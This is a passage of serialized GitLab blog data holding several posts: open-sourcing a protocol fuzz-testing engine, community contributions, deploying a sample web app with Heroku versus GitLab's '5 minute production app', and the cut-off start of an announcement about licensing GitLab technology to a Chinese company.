watch and learn how to configure GitLab Jira Integration using Marketplace App.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/SwR-g1s1zTo\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nGitLab helps teams ship software faster with technology integration options, such as the integration with Jira, that automate tasks, provide visibility into development progress and the greater end-to-end software lifecycle. We recognize that many companies use Jira for Agile project management and our seamless integration brings Jira together with GitLab.\n\nCover image by [Mikołaj Idziak](https://unsplash.com/@mikidz) on [Unsplash](https://unsplash.com/photos/nwjRmbXbLgw).\n{: .note.text-left}\n",[3949,4103,1385],{"slug":19086,"featured":6,"template":678},"integrating-gitlab-com-with-atlassian-jira-cloud","content:en-us:blog:integrating-gitlab-com-with-atlassian-jira-cloud.yml","Integrating Gitlab Com With Atlassian Jira Cloud","en-us/blog/integrating-gitlab-com-with-atlassian-jira-cloud.yml","en-us/blog/integrating-gitlab-com-with-atlassian-jira-cloud",{"_path":19092,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":19093,"content":19099,"config":19104,"_id":19106,"_type":16,"title":19107,"_source":17,"_file":19108,"_stem":19109,"_extension":20},"/en-us/blog/gitlab-open-sources-protocol-fuzz-test-engine",{"title":19094,"description":19095,"ogTitle":19094,"ogDescription":19095,"noIndex":6,"ogImage":19096,"ogUrl":19097,"ogSiteName":1180,"ogType":1181,"canonicalUrls":19097,"schema":19098},"We're open sourcing Protocol Fuzzer Community Edition!","GitLab is releasing an open source protocol fuzz testing repository.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667243/Blog/Hero%20Images/open-source-community.png","https://about.gitlab.com/blog/gitlab-open-sources-protocol-fuzz-test-engine","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"We're open sourcing Protocol Fuzzer Community Edition!\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sam Kerr\"}],\n        \"datePublished\": \"2021-03-23\",\n      }",{"title":19094,"description":19095,"authors":19100,"heroImage":19096,"date":19101,"body":19102,"category":736,"tags":19103},[7599],"2021-03-23","\n\n[GitLab acquired Peach Tech](/press/releases/2020-06-11-gitlab-acquires-peach-tech-and-fuzzit-to-expand-devsecops-offering.html), the industry leader in protocol and API fuzz testing, last year.\n\nWe were thrilled to release [API fuzz testing](https://docs.gitlab.com/ee/user/application_security/api_fuzzing/) as part of our [13.4 release](/releases/2020/09/22/gitlab-13-4-released/#api-fuzz-testing-with-openapi-specs-or-har-files).\nSince then we’ve made tons of improvements, such as [adding Postman support](https://about.gitlab.com/releases/2020/11/22/gitlab-13-6-released/#postman-collection-support-for-api-fuzz-testing)\nand [supporting runtime value overrides](https://gitlab.com/gitlab-org/gitlab/-/issues/273111), and we've received great feedback.\nWe’ve also heard the questions about the Peach protocol fuzz testing\ncapabilities and what is going to happen to them.\n\nToday, we are incredibly excited to announce that we are releasing the core\nprotocol fuzz testing engine of Peach as [GitLab Protocol Fuzzer Community Edition](https://gitlab.com/gitlab-org/security-products/protocol-fuzzer-ce), and it's open source! This edition has many\ncapabilities previously only available with a commercial Peach license.\nIt contains the engine to run and orchestrate fuzz tests as well as the\npieces needed to define your own protocols.\n\n## This is a major gain for the open source community\n\nPreviously, the only way\nto get access to many of these tools was to pay for the commercial\nversion of Peach Fuzzer, or to use an older, unmaintained version of Peach Fuzzer\nCommunity that lacked many of the features and bug fixes available in the commercial version.\nBy open sourcing much of what\nwas previously available only with a paid license, we are thrilled to\nenable more security researchers, students, and developers to experiment\nwith and use protocol fuzz testing to find vulnerabilities and bugs\nthat other tools will not. This also enables everyone to contribute and\nhelp advance the state of the art even further!\n\n## What is fuzz testing?\n\nFuzz testing is an automated software testing technique that provides invalid, unexpected, or random data to a computer program. Like black box testing, a fuzzing tool injects these unexpected inputs into the system and monitors for negative reactions such as crashes or information leakage, which could indicate security, performance, or quality gaps or issues.\nThe goal is to reveal software defects and vulnerabilities. \n\nThe name “fuzzing” dates back to 1988 when the University of Wisconsin - Madison Professor Barton Miller noticed significant interference on the signal while logging into a UNIX system via a dial-up network during a storm. The interference ultimately resulted in a crash.\n\nLater, Miller decided to have his students conduct a simulation of his experience with the idea that external “noise” couldn’t be tolerated by code. They blasted UNIX, Mac, and Windows systems with noise using a fuzz generator to see if they would crash.\n\n## What is a peach fuzzer?\n\nPeach is a SmartFuzzer that provides a way to define the format of data that should be generated as well as how and when the fuzzed data should be generated.\nIt requires the creation of Peach Pit files, which are XML files that contain complete information about the data structure, type of information, and the relationship of the data. The files define the structure, type of information, and relationships in the data to be fuzzed.\nAdditionally, it allows for the configuration of a fuzzing run, including selecting a data transport ([Publisher](https://peachtech.gitlab.io/peach-fuzzer-community/v3/Publisher.html)), logging interface, etc.\nPeach has been under development since 2004.\n\n### What a peach fuzzer does\n\nA peach fuzzer is capable of performing both [generation and mutation-based](https://peachtech.gitlab.io/peach-fuzzer-community/GenerationMutationFuzzing.html) fuzzing.\n\n### Benefits of a peach fuzzer\n\nA peach fuzzer tool is easy to use and allows for efficient testing and standardized reporting suitable for all stakeholders. Tests are repeatable, and findings can be verified and validated across multiple testing sessions.\n\n## Benefits and challenges of fuzz testing\n\nBecause of its random nature, experts believe fuzz testing is most likely to find bugs that other conventional tests and manual audits miss. Some of its other many benefits include:\n \n- Providing a good overall picture of the quality of the target system and software. Fuzzing tools let you easily assess the robustness and security risk posture of the system and software being tested.\n- Fuzzing is the main technique malicious hackers use to find software vulnerabilities. When used in a security program, it helps prevent zero-day exploits from unknown bugs and weaknesses in your system.\n- Reduced cost and time. Once a fuzzer is up and running, it can start to look for bugs on its own, with no manual intervention, and can continue to do so for as long as needed.\n\nSetup and data analysis are the two main challenges practitioners face when trying to implement fuzz testing. It also isn’t easy to set up fuzz testing--it requires complex testing “harnesses” that can be even more tricky to create if the fuzz testing isn’t actually located within an existing toolchain.\n\nFurther, fuzz testing can generate a lot of data, including potentially false positives. So it’s critical that a testing team is prepared to deal with the onslaught of information.\n\nThere is also a perception issue. Because it is less easy to document, negative attitudes toward the “vague” nature of fuzz testing persist in the QA community.\n\n## How to get started with fuzz testing\n\nFuzzing, like another aspect of a software project, requires planning, maintenance, and commitment.\nFirst, figure out what you want to fuzz, what you want to find, and how you are going to fuzz. Then you will want to make sure the tool you’re going to use is flexible enough to cover all uses.\n\nIf you are setting up a fuzzing system but aren’t one of the developers who will actually fix the results found, communicating with the people will be. Ask about the kind of information they want to receive in a bug report from fuzz testing.\n\nAt the very least, a bug report should contain all the information required to reproduce the issue. This may include test case, configuration, operating system used, version or build number of the target, CPU and memory information, and, where applicable, compiler options and debug flags.\n \nIf no new bugs are found after running the fuzz test for a long period of time, this might indicate your fuzzing is either doing a great job, and the robustness of your target is increasing—or that the fuzz is stuck.\n\n## Some fuzz testing best practices\n\nTo ensure the efficiency of your fuzz software and security testing, make sure to follow these best practices:  \n\n- Determine what the target software is to be developed\n- Identify the inputs for the data to be tested\n- Generate your fuzz data  \n- Use the generated fuzz data to execute the test   \n- Monitor the system for potential security vulnerabilities, crashes, and memory leaks  \n- Check defects in the log so they can be addressed before the product is released\n\n## How to use fuzz testing in GitLab\n\nGitlab recommends doing fuzz testing in addition to the other security scanners in [GitLab Secure](https://docs.gitlab.com/ee/user/application_security/index.html) and your own test processes. If you’re using [GitLab CI/CD](https://docs.gitlab.com/ee/ci/index.html), you can run your coverage-guided fuzz testing as part of your CI/CD workflow.\nWeb API fuzzing runs in the fuzz stage of the CI/CD pipeline. To ensure API fuzzing scans the latest code, your CI/CD pipeline should deploy changes to a test environment in one of the stages preceding the fuzz stage.\n\nThe following changes have been made to the API fuzzing template:\n\n- In GitLab 14.0 and later, you must define a fuzz stage in your .gitlab-ci.yml file.\n- In GitLab 13.12 and earlier, the API fuzzing template defines the build, test, deploy, and fuzz stages. The fuzz stage runs last by default. The predefined stages were deprecated and removed from the API-Fuzzing.latest.gitlab-ci.yml template. They will be removed in a future GitLab version.\n\nIf your pipeline is configured to deploy to the same web server on each run, running a pipeline while another is still running could cause a race condition in which one pipeline overwrites the code from another. The API to scan should be excluded from changes for the duration of a fuzzing scan.\n \nThe only changes to the API should be from the fuzzing scanner. Any changes made to the API (for example, by users, scheduled tasks, database changes, code changes, other pipelines, or other scanners) during a scan could cause inaccurate results.\n\nYou can run a [Web API fuzzing scan](https://docs.gitlab.com/ee/user/application_security/api_fuzzing/) using the following methods:\n\n- OpenAPI Specification - versions 2 and 3.\n- GraphQL Schema\n- HTTP Archive (HAR)\n- Postman Collection - versions 2.0 or 2.1\n\nExample projects using these methods are available:\n\n- Example OpenAPI v2 Specification project\n- Example HTTP Archive (HAR) project\n- Example Postman Collection project\n- Example GraphQL project\n- Example SOAP project\n\nMore information about web API fuzz testing in GitLab can be found [here](https://docs.gitlab.com/ee/user/application_security/api_fuzzing/).\n\n## Future plans for fuzz testing\n\nWe plan to add additional capabilities to the Community Edition in the future\nand integrate it into GitLab the product. You can read more details about our\nfuture plans on our [fuzz testing direction page](/direction/secure/dynamic-analysis/fuzz-testing/).\nWe will keep our [stewardship policy](/company/stewardship/) in mind as we [determine which tiers of GitLab that specific features\nare added to](/handbook/product/tiering-guidance-for-features/). Some of the capabilities you can look forward to are\nindustry-specific features, tighter integration with the CI process and vulnerability\nmanagement, as well as pre-built support for many common network protocols.\n\nOne of our values at GitLab is [iteration](https://handbook.gitlab.com/handbook/values/#iteration) and we wanted to share the Community\nEdition as soon as we could so everyone can contribute sooner! We would\nlove for you to check it out and provide feedback and your own contributions.\n",[815,736],{"slug":19105,"featured":6,"template":678},"gitlab-open-sources-protocol-fuzz-test-engine","content:en-us:blog:gitlab-open-sources-protocol-fuzz-test-engine.yml","Gitlab Open Sources Protocol Fuzz Test Engine","en-us/blog/gitlab-open-sources-protocol-fuzz-test-engine.yml","en-us/blog/gitlab-open-sources-protocol-fuzz-test-engine",{"_path":19111,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":19112,"content":19117,"config":19121,"_id":19123,"_type":16,"title":19124,"_source":17,"_file":19125,"_stem":19126,"_extension":20},"/en-us/blog/how-you-contribute-to-gitlabs-open-devops-platform",{"title":19113,"description":19114,"ogTitle":19113,"ogDescription":19114,"noIndex":6,"ogImage":18626,"ogUrl":19115,"ogSiteName":1180,"ogType":1181,"canonicalUrls":19115,"schema":19116},"How you contribute to GitLab's DevOps Platform","Today we're celebrating you! These are just some of the many examples of how you make GitLab's DevOps Platform better by innovating together.","https://about.gitlab.com/blog/how-you-contribute-to-gitlabs-open-devops-platform","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How you contribute to GitLab's DevOps Platform\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2021-03-23\",\n      }",{"title":19113,"description":19114,"authors":19118,"heroImage":18626,"date":19101,"body":19119,"category":813,"tags":19120},[711],"\n\nWe know that we can iterate faster when we innovate together. We want to highlight how you make GitLab better every day by contributing to our DevOps Platform, by suggesting improvements, submitting bug fixes, and contributing features. \n\nYou contribute around 300 merge requests to GitLab each month. Just look at [last month's release for a multitude of examples](/releases/2021/02/22/gitlab-13-9-released/#wider-community-contribution-highlights) – a reminder that [everyone can contribute](/company/mission/#mission). \n\n{::options parse_block_html=\"false\" /}\n\n\u003Cdiv class=\"center\">\n\n\u003Cblockquote class=\"twitter-tweet\">\u003Cp lang=\"en\" dir=\"ltr\">Achievement unlocked: having NASA contribute directly to your codebase. Open core ftw. \u003Ca href=\"https://t.co/qcnu8jhQuR\">https://t.co/qcnu8jhQuR\u003C/a>\u003C/p>&mdash; Brendan O’Leary (@olearycrew) \u003Ca href=\"https://twitter.com/olearycrew/status/1363992971188740103?ref_src=twsrc%5Etfw\">February 22, 2021\u003C/a>\u003C/blockquote> \u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\nRoger Meier, principal key expert and service owner of code.siemens.com from [Siemens IT](/customers/siemens/) explains, “If we want to have new features, we contribute them to GitLab.” \n\n## A DevOps platform gives you visibility into security and beyond\n\nWorking in the open presents unique security challenges (you can read about how we [prevent security fixes from leaking into our public repositories](/blog/how-we-prevented-security-fixes-leaking-into-our-public-repositories/)), but we’re proud of how taking an open approach to security serves our community, customers, and us.  \n\nCommunity member [Ethan Reesor](https://gitlab.com/firelizzard) is working on improving and simplifying how we do [authorization in our package managers](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/38627) and added some great test coverage around that in [gitlab-org/gitlab!50729](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/50729).\n\nSecurity issues are often reported to us directly in GitLab, but Dominic Couture, senior security engineer, [Application Security](/topics/devsecops/) at GitLab, explains that even security bugs reported through our [HackerOne bug bounty program](https://hackerone.com/gitlab) are often made public 30 days after they’re fixed: everyone can see the [old security issues](https://gitlab.com/gitlab-org/gitlab/-/issues?scope=all&utf8=%E2%9C%93&state=all&label_name[]=HackerOne). “This creates a positive feedback loop where external security researchers can look into old issues to help them find and disclose new ones to us.” You can read more reflections on [security and open source here](/blog/open-source-security/).\n\n### Debugging together\n\nOur customers regularly collaborate with us to debug problems. In this example, a customer helped our backend engineers to [resolve an S1 bug](https://gitlab.com/gitlab-org/gitlab/-/issues/261667), and even gave us access to part of their system to test the fix – showing that we’re most successful when everyone’s committed to iteration.\n\nSmall fixes and improvements to our documentation often arise out of customer interactions with our support engineers – you can see all the [merge requests from 2021 captured here](https://gitlab.com/gitlab-com/support/support-team-meta/-/issues?label_name%5B%5D=Support+Team+Contributions).\n\nFor some customers, contributing to GitLab is even an official part of their job. Learn about how [one of our contributors at CERN here](/blog/cern-contributor-post/) helps make GitLab’s [open DevOps platform](/solutions/devops-platform/) better.\n\n### Getting to the root of performance problems\n\n[Working in public by default](https://handbook.gitlab.com/handbook/values/#public-by-default) is a little uncomfortable at first – especially when it comes to troubleshooting performance issues – but the advantage of this visibility is that we can crowdsource solutions. \n\nIn July 2019, our site reliability engineers noticed a significant increase in errors and site slowdown on GitLab.com. In the course of investigation, community member [Andrew Armstrong](https://gitlab.com/phplasma) [commented on the public issue ](https://gitlab.com/gitlab-com/gl-infra/production/-/issues/928#note_187236004) with a suggestion: The Redis instance might be approaching its self-imposed memory limit, which can overwhelm the instance quickly even if plenty of physical memory is available. This inspired a review of the time to live (TTL) we apply to Redis keys.\n\n## Living our values through DevOps \n\nWe're proud to partner with groups who foster [our values](https://handbook.gitlab.com/handbook/values/) in their communities. [The Last Mile](/blog/thelastmile-gitlab/) is opening doors for aspiring software engineers at correctional facilities across the US. [GNOME moved to GitLab in 2018](/blog/welcome-gnome-to-gitlab/), and together with [Endless](https://endlessnetwork.com/) they [launched the Coding Education Challenge](/blog/gnome-follow-up/#whats-new-at-gnome-and-what-are-some-of-the-new-things-on-the-horizon) to inspire a new generation to \"take control of their digital worlds, not be controlled by them.\" Read more about intitiatives from our [friends in open source](/blog/categories/open-source/). \n\n_These are just a few examples of the improvements you make to GitLab and the wider community, and we want to keep celebrating how you iterate and innovate using our open DevOps platform. Got a story of your own to share? **We’re accepting proposals for our virtual user conference, [GitLab Commit](/events/commit/)** (Aug. 3-4, 2021) and would love to hear from you._\n",[815,267,7116],{"slug":19122,"featured":6,"template":678},"how-you-contribute-to-gitlabs-open-devops-platform","content:en-us:blog:how-you-contribute-to-gitlabs-open-devops-platform.yml","How You Contribute To Gitlabs Open Devops Platform","en-us/blog/how-you-contribute-to-gitlabs-open-devops-platform.yml","en-us/blog/how-you-contribute-to-gitlabs-open-devops-platform",{"_path":19128,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":19129,"content":19135,"config":19140,"_id":19142,"_type":16,"title":19143,"_source":17,"_file":19144,"_stem":19145,"_extension":20},"/en-us/blog/we-are-building-a-better-heroku",{"title":19130,"description":19131,"ogTitle":19130,"ogDescription":19131,"noIndex":6,"ogImage":19132,"ogUrl":19133,"ogSiteName":1180,"ogType":1181,"canonicalUrls":19133,"schema":19134},"We are very far from a better Heroku for production apps in a hyper cloud","GitLab is building Heroku for production apps in hyper clouds, integrated into your DevSecOps workflow: The 5 minute production app.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749672405/Blog/Hero%20Images/spacex-unsplash.jpg","https://about.gitlab.com/blog/we-are-building-a-better-heroku","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"We are very far from a better Heroku for production apps in a hyper cloud\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Michael Friedrich\"}],\n        \"datePublished\": \"2021-03-22\",\n      }",{"title":19130,"description":19131,"authors":19136,"heroImage":19132,"date":19137,"body":19138,"category":18484,"tags":19139},[4808],"2021-03-22","\n\n{::options parse_block_html=\"true\" /}\n\n\n\n> Update: This post does not live up to its original title `We are building a better Heroku`. It shows my own personal experience and reflects poorly on competitors. I am sorry about that.\n>\n> It should have emphasized the _building_ part, we're just starting. The current 5 minute production app doesn't hold a candle to Heroku at the moment.\n> It should have made it clear the goals is to improve the speed with which you can configure a production app, not a development app. Development apps on Heroku are already close to perfect. The examples in this post are contrived since it talks about a development app, as [rightly called out by Heroku people](https://twitter.com/johnbeynon/status/1374306499426652161).\n> It should have gone into [why hyper clouds might be preferable](https://gitlab.com/gitlab-org/5-minute-production-app/deploy-template#hypercloud).\n> It should have talked about state, we made a small improvement in [this MR](https://gitlab.com/gitlab-com/www-gitlab-com/-/merge_requests/78028/diffs) but we should have done the [planned work](https://gitlab.com/gitlab-com/www-gitlab-com/-/issues/11137) and made one post out of it.\n>\n> We are very far from a better Heroku for production apps in a hyper cloud.\n\nCreating a web application has become very convenient and easy. You’ll start in your local development environment, run a dev server and verify the changes looking good. At a certain point, you want to share it with your friends on the internet. A service or server?\n\n### Use Heroku\n\nI have been a backend developer in the past 20 years. Web development is often fighting with Javascript and CSS. Especially Heroku as a deployment platform is a new area for me.\n\nLet's start with creating an account, login, and follow the web instructions to create a new app in the [documentation](https://devcenter.heroku.com/).\n\nLet’s try a fun demo, a battleship game to learn Javascript on the client and NodeJS on the server.\n\n```\n$ cd ~/dev/opensource\n$ git clone https://github.com/kubowania/battleships\n$ cd battleships\n```\n\nTest it locally, optional.\n\n```\n$ npm install\n$ npm start\n```\n\nInstall the Heroku CLI, on [macOS with Homebrew](/blog/dotfiles-document-and-automate-your-macbook-setup/).\n\n```\n$ brew install heroku/brew/heroku\n\n$ heroku autocomplete\n```\n\nThis opens a new browser window to login. Lets create an app.\n\n```\n$ heroku create\nCreating app... done, ⬢ nameless-mountain-48655\nhttps://nameless-mountain-48655.herokuapp.com/ | https://git.heroku.com/nameless-mountain-48655.git\n```\n\nThe CLI command adds a new Git remote called `heroku` where we need to push into.\n\n```\n$ git push heroku main\n\nremote: -----> Launching...\nremote:        Released v3\nremote:        https://nameless-mountain-48655.herokuapp.com/ deployed to Heroku\nremote:\nremote: Verifying deploy... done.\n```\n\nDeployed in less than 5 minutes. Getting there and installing the pre-requisites on the CLI took longer than expected.\n\n![Battleship web app deployed with Heroku](https://about.gitlab.com/images/blogimages/better-heroku-5min-prod-app/battleship_heroku.png){: .shadow.medium.center}\n\nLots of CLI commands involved, and it did not run in a CI/CD pipeline with additional tests before deploying it. Now the web application is deployed into a black box. Want to use Let’s Encrypt and your own domain name? How about adding the deployment natively to GitLab to have a single application in your DevOps workflow?\n\n#### Setting up Persistence with Heroku\n\nThis gets more challenging. Imagine that your app uses a relational database, a caching layer and object storage. This requires lots of CLI commands and a deep dive into the application configuration. We did not touch persistent backends in the demo app above yet.\n\nHeroku offers [PostgreSQL](https://devcenter.heroku.com/categories/postgres-basics), [Redis](https://devcenter.heroku.com/categories/heroku-redis) and [AWS S3](https://devcenter.heroku.com/articles/s3).\n\n```\nheroku addons:create heroku-postgresql:hobby-dev\nheroku addons:create heroku-postgresql:hobby-dev --version=10\n\nheroku pg:promote HEROKU_POSTGRESQL_YELLOW\n```\n\n```\nheroku addons:create heroku-redis:hobby-dev -a 5-min-prod-app\n```\n\nNote that the default `hobby-dev` plan allows unencrypted connections too.\n\n```\nheroku config:set S3_BUCKET_NAME=appname-assets\nheroku config:set AWS_ACCESS_KEY_ID=xxx AWS_SECRET_ACCESS_KEY=yyy\n```\n\nAll stateful backends in Heroku need to be secured. This requires more commands to create self-signed certificates and encrypt transport layers in the backend.\n\nAfter all, is there a better way to automate requesting stateful backend services and automate their provisioning?\n\n### A better Heroku: The 5 minute production app\n\n{::options parse_block_html=\"false\" /}\n\n\u003Cdiv class=\"center\">\n\n\u003Cblockquote class=\"twitter-tweet\">\u003Cp lang=\"en\" dir=\"ltr\">the modern tech industry is basically folks just endlessly remaking remakes of heroku\u003C/p>&mdash; Always Miso (@monkchips) \u003Ca href=\"https://twitter.com/monkchips/status/1368924845740810249?ref_src=twsrc%5Etfw\">March 8, 2021\u003C/a>\u003C/blockquote> \u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003Cblockquote class=\"twitter-tweet\">\u003Cp lang=\"en\" dir=\"ltr\">Truth \u003Ca href=\"https://t.co/AFN9anBbQG\">https://t.co/AFN9anBbQG\u003C/a>\u003C/p>&mdash; Sid Sijbrandij (@sytses) \u003Ca href=\"https://twitter.com/sytses/status/1368982067229253632?ref_src=twsrc%5Etfw\">March 8, 2021\u003C/a>\u003C/blockquote> \u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\n\nCloud resources are cheap. AWS offers a free tier, HashiCorp Terraform has become an excellent tool to manage multi-cloud resources and GitLab integrates app packaging, container registry, deployment and TLS certificates.\n\nThere’s more application goodies: Provision a PostgreSQL VM, add Redis, SMTP email transport, custom domains with Let’s Encrypt.\n\n#### Use the 5 minute production app\n\nThe [documentation](https://gitlab.com/gitlab-org/5-minute-production-app/deploy-template#usage) says to create a new AWS IAM role with credentials for automation.\n\nThe second step is to have the source code available in a GitLab project. You can use `New project > Import project > Repo by URL` to automatically import the GitHub repository `https://github.com/kubowania/battleships.git`.\n\n![Import the GitHub repository into GitLab](https://about.gitlab.com/images/blogimages/better-heroku-5min-prod-app/gitlab_new_project_import_github_url.png){: .shadow.medium.center}\n\nOnce imported, navigate into `Settings > CI/CD > Variables` to specify the AWS credentials and region. Ensure to tick the `Masked` checkbox to hide them in all job logs.\n\n![Configure AWS credentials as masked CI/CD variables](https://about.gitlab.com/images/blogimages/better-heroku-5min-prod-app/gitlab_5minprodapp_aws_cicd_variables.png){: .shadow.medium.center}\n\nNavigate back into the project overview. Click the `Setup CI/CD` button or open the Web IDE to create a new `.gitlab-ci.yml` file. Add the remote CI/CD template include like this:\n\n```\nvariables:\n    TF_VAR_DISABLE_POSTGRES: \"true\"\n    TF_VAR_DISABLE_REDIS: \"true\"\n\ninclude:\n  remote: https://gitlab.com/gitlab-org/5-minute-production-app/deploy-template/-/raw/stable/deploy.yml\n```\n\nThe battleship application does not need the PostgreSQL and Redis backends. They are disabled with setting `TF_VAR_DISABLE_POSTGRES` and `TF_VAR_DISABLE_REDIS` [variables](https://gitlab.com/gitlab-org/5-minute-production-app/deploy-template/-/blob/master/VARIABLES.md) to `false`.\n\nCommit the change to the default branch.\n\n8:43pm CET: Pipeline started with the build job. 2 min 33 sec.\n\n![GitLab pipeline builds the Docker image with Auto-Build](https://about.gitlab.com/images/blogimages/better-heroku-5min-prod-app/gitlab_5minprodapp_pipeline_01.png){: .shadow.medium.center}\n\n8:45pm CET: Pipeline runs terraform_apply to provision AWS resources in 2min 47 sec.\n\n![GitLab pipeline runs Terraform to provision cloud resources in AWS](https://about.gitlab.com/images/blogimages/better-heroku-5min-prod-app/gitlab_5minprodapp_pipeline_02.png){: .shadow.medium.center}\n\n8:48pm CET: Deployed in 1 min 11 sec.\n\nThe deploy job log greets with the URL in ~5 minutes, including a Lets Encrypt TLS certificate. There we go, let’s play some battleship!\n\n![Battleship web app deployed in AWS with the 5 minute production app](https://about.gitlab.com/images/blogimages/better-heroku-5min-prod-app/battleship_5minprodapp_aws.png){: .shadow.medium.center}\n\nNote that we never left the browser and there is no CLI involved. Next to the included template, there’s also room for adding more CI tests and security best practices while hacking on this project. You can navigate into your AWS console for debugging and troubleshooting and plan with production budgets, where needed.\n\n#### Setting up Persistence with the 5 Minute Production App\n\nRemember the stateful backends with Heroku above? By default, the 5 minute production app takes care of provisioning:\n\n- PostgreSQL server and secured backend\n- Redis cluster\n- S3 object storage in AWS\n\nThe 5 minute production app uses the managed stateful services of a hypercloud so your data is persisted and secure. By leveraging these managed services (databases, caching, objects storage, etc.) you have less to maintain. Everything is provisioned through Terraform which has the following advantages:\n\n- Terraform is the most popular IaC tool.\n- Terraform works accross platforms.\n- Terraform is well-documented.\n- Terraform state can be [stored and viewed in GitLab](https://docs.gitlab.com/ee/user/infrastructure/#gitlab-managed-terraform-state).\n- You avoid the cost and complexity of Kubernetes.\n- You have complete control to customize and extend.\n\nWe will explore more stateful backends in future apps and blog posts.\n\n### 5 minute production app + DevSecOps = ❤️\n\nExample for [Dependency Scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/) and [SAST](https://docs.gitlab.com/ee/user/application_security/sast/analyzers.html):\n\n```\ninclude:\n  - remote: https://gitlab.com/gitlab-org/5-minute-production-app/deploy-template/-/raw/stable/deploy.yml\n  - template: Dependency-Scanning.gitlab-ci.yml\n  - template: Security/SAST.gitlab-ci.yml\n```\n\n### More to use: Database backends, TLS, environments\n\nThis blog post covers the basic learning steps with Heroku and the 5 minute production app. A typical web app requires a database, storage or caching backend, which can get complicated to run with Heroku. We will explore the setup and production experience in future blog posts. In addition to backends, we will also look into TLS certificates and production environments in CD workflows.\n\nMeanwhile, try the 5 min production app yourself:\n\n* [5 minute production app docs](https://gitlab.com/gitlab-org/5-minute-production-app/deploy-template#the-5-minute-production-app)\n* [Example projects](https://gitlab.com/gitlab-org/5-minute-production-app/deploy-template#examples)\n* Your own future web app with [your custom domain](https://gitlab.com/gitlab-org/5-minute-production-app/deploy-template#custom-domain)?\n\nCover image by [SpaceX](https://unsplash.com/@spacex) on [Unsplash](https://unsplash.com/photos/OHOU-5UVIYQ)\n\n",[3949,4103,1385],{"slug":19141,"featured":6,"template":678},"we-are-building-a-better-heroku","content:en-us:blog:we-are-building-a-better-heroku.yml","We Are Building A Better Heroku","en-us/blog/we-are-building-a-better-heroku.yml","en-us/blog/we-are-building-a-better-heroku",{"_path":19147,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":19148,"content":19153,"config":19158,"_id":19160,"_type":16,"title":19161,"_source":17,"_file":19162,"_stem":19163,"_extension":20},"/en-us/blog/gitlab-licensed-technology-to-new-independent-chinese-company",{"title":19149,"description":19150,"ogTitle":19149,"ogDescription":19150,"noIndex":6,"ogImage":12013,"ogUrl":19151,"ogSiteName":1180,"ogType":1181,"canonicalUrls":19151,"schema":19152},"GitLab licensed its technology to new independent Chinese company","The independent company will help drive adoption of the GitLab complete DevOps platform in China and foster the GitLab community and open source contributions.","https://about.gitlab.com/blog/gitlab-licensed-technology-to-new-independent-chinese-company","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab licensed its technology to new independent Chinese company\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2021-03-18\",\n      }",{"title":19149,"description":19150,"authors":19154,"heroImage":12013,"date":19155,"body":19156,"category":736,"tags":19157},[711],"2021-03-18","\n{::options parse_block_html=\"true\" /}\n\u003Cdiv class=\"panel panel-info\">\n  \u003Cp class=\"panel-heading\">\u003Cstrong>What you need to know:\u003C/strong>\u003C/p>\n\u003Cdiv class=\"panel-body\">\n  \u003Cul>\n    \u003Cli>Expanding GitLab software access to one of the world's largest software development markets furthers our mission of bringing GitLab to more people globally so that everyone can contribute.\u003C/li>\n    \u003Cli>GitLab Information Technology (Hubei) Co., Ltd. (JiHu, pronounced \"G Who\") is an independent company with full autonomy over its operation and management.\u003C/li>\n    \u003Cli>JiHu will provide a specific Chinese distribution of GitLab's DevOps platform available as both a self-managed and SaaS offering (GitLab.cn) that is only available in China and specifically tailored for the Chinese market. \u003C/li>\n    \u003Cli>JiHu's SaaS service (GitLab.cn) and GitLab Inc.'s SaaS service (GitLab.com) will share no common infrastructure, networking connectivity, systems, services, data, or resources.\u003C/li>\n  \u003C/ul>\n\u003C/div>\n\u003C/div>\n\n{::options parse_block_html=\"false\" /}\n\nGitLab Inc. licensed its technology to an independent Chinese company (JiHu) to provide China-based enterprises with a single application for all stages of their software development lifecycle (SDLC). Investors in this new company include Sequoia CBC and Gaocheng Capital.\n\nGitLab Information Technology (Hubei) Co., Ltd. (JiHu, pronounced \"G Who\") will operate as a separate company with full autonomy over its own governance structure, management team and CEO, and business support functions including Engineering, Sales, Marketing, Finance, Legal, HR, and Customer Support. JiHu will provide a specific Chinese distribution of GitLab's DevOps platform available as both a self-managed and SaaS offering (GitLab.cn) that is constantly updated, has readily accessible features, and tailored software for Chinese companies. JiHu's SaaS service (GitLab.cn) and GitLab Inc.'s SaaS service (GitLab.com) will share no common infrastructure, networking connectivity, systems, services, data, or resources.\n\n## Our current China market presence\n\nIn China, GitLab's complete DevOps platform has several million users and many notable local corporations.\n\nUp until now, GitLab's self-managed version was available to customers in China through a network of resellers and system integrators. Due to local licensing requirements, GitLab's SaaS version was not available through the network of resellers and system integrators. There may be a variety of unsupported forks of GitLab's SaaS offering being used throughout China by other parties without GitLab's approval, but those are older, unsupported, and out-of-date versions of GitLab.\n\nMoving forward, Chinese companies will be able to work directly with 